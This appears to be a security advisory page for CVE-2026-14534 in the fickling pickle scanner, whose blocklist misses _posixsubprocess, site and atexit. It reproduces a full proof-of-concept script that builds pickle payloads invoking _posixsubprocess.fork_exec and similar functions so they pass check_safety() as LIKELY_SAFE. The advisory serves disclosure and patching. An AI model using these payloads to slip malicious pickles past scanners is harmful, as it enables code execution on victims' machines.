Fickling safety checks can miss dangerous standard-library imports
- CVE-2026-14534
- GHSA-m6fh-58r7-x697
- PYSEC-2026-2149
- EUVD-2026-41675
Description
Show the whole descriptionHide the whole description
# Analysis The fix adds `_posixsubprocess`, `site` and `atexit` to the blocklist (https://github.com/trailofbits/fickling/commit/e8408615b63adf034f891f653692ab9b51f0f5af). # Original report _posixsubprocess, site, and atexit are missing from UNSAFE_IMPORTS in fickle.py. This shares the same root cause as CVE-2026-22607 and GHSA-5cxw-w2xg-2m8h. _posixsubprocess.fork_exec: C-level process spawner. check_safety() returns LIKELY_SAFE with 0 findings on 0.1.10. OvertlyBadEvals skips them because they're in likely_safe_imports (stdlib). UnsafeImports doesn't catch them because they're not in the denylist. SETITEMS pattern defeats UnusedVariables. PoC (tested against 0.1.10 from PyPI): #!/usr/bin/env python3 import sys from fickling.analysis import check_safety from fickling.fickle import UNSAFE_IMPORTS, Pickled import fickling.fickle as op BYPASS_TARGETS = [ { "module": "_posixsubprocess", "function": "fork_exec", "impact": "C-level fork/exec — spawns arbitrary child processes", }, { "module": "site", "function": "execsitecustomize", "impact": "Executes arbitrary site customization code at interpreter startup", }, { "module": "atexit", "function": "_run_exitfuncs", "impact": "Triggers all registered atexit callbacks", }, ] def build_payload(module: str, function: str) -> Pickled: return Pickled([ op.Proto.create(4), op.ShortBinUnicode(module), op.ShortBinUnicode(function), op.StackGlobal(), op.ShortBinUnicode("/etc/passwd"), op.TupleOne(), op.Reduce(), op.Memoize(), op.EmptyDict(), op.ShortBinUnicode("init"), op.ShortBinUnicode("x"), op.SetItem(), op.Mark(), op.ShortBinUnicode("trace"), op.BinGet(0), op.SetItems(), op.Stop(), ]) def main(): print(f"Fickling Safety Bypass PoC") print(f"UNSAFE_IMPORTS denylist size: {len(UNSAFE_IMPORTS)} modules") print(f"{'=' * 72}\n") all_passed = True for target in BYPASS_TARGETS: module = target["module"] function = target["function"] label = f"{module}.{function}" in_denylist = module in UNSAFE_IMPORTS pickled = build_payload(module, function) results = check_safety(pickled) bypassed = results.severity.name == "LIKELY_SAFE" and len(results.results) == 0 print(f"Target: {label}") print(f" In UNSAFE_IMPORTS: {in_denylist}") print(f" check_safety(): {results.severity.name} ({len(results.results)} findings)") print(f" Impact: {target['impact']}") print(f" Status: {'BYPASS CONFIRMED' if bypassed else 'DETECTED'}") print() if not bypassed: all_passed = False print(f"{'=' * 72}") if all_passed: print(f"RESULT: {len(BYPASS_TARGETS)}/{len(BYPASS_TARGETS)} targets bypass check_safety()") print(f" fickling.load() would execute all payloads after returning LIKELY_SAFE") else: print(f"RESULT: Some targets were detected. Check fickling version.") return 0 if all_passed else 1 if __name__ == "__main__": sys.exit(main())
Text from the GitHub Advisory record.
Affected
trailofbits fickling
- up to 0.1.10
ficklingPyPI
- all versions, fixed in 0.1.11
Product versions from the ENISA EUVD record.
Timeline
- Published
Related news
No article from the followed outlets names this vulnerability.